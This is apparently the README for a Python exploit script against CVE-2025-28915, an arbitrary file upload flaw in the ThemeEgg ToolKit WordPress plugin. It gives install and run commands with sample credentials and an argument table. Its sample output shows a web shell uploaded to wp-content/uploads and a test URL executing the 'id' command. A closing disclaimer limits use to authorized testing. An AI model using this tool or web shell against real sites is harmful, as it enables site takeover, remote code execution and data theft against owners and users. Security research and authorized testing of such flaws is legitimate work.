
WordPress ThemeEgg ToolKit plugin <= 1.2.9 - Arbitrary File Upload vulnerability
An Unrestricted File Upload vulnerability in the ThemeEgg ToolKit plugin for WordPress (versions ≤ 1.2.9) allows authenticated attackers to upload web shells to the server. This can lead to remote code execution (RCE), complete website takeover, and compromise of sensitive data.
This script automates the exploitation of CVE-2025-28915 by:
requests, beautifulsoup4pip install requests beautifulsoup4
python CVE-2025-28915.py -u http://192.168.100.74:888/wordpress -un admin -p password123
| Argument | Description |
|---|---|
-u | Target WordPress URL (e.g., http://target.com/wordpress) |
-un | WordPress username |
-p | WordPress password |
[+] Vulnerable version detected: 1.2.9
[+] Logged in successfully.
[+] Found security nonce: f82467a997
[*] Uploading Web Shell...
[+] Web Shell uploaded successfully!
[+] Potential Web Shell location: http://target.com/wp-content/uploads/2025/03/shell.php
[*] Test command: http://target.com/wp-content/uploads/2025/03/shell.php?cmd=id
This script is for educational and authorized security testing purposes only. Unauthorized use is illegal and unethical. The author assumes no liability for misuse.
By: Khaled Alenazi (Nxploit)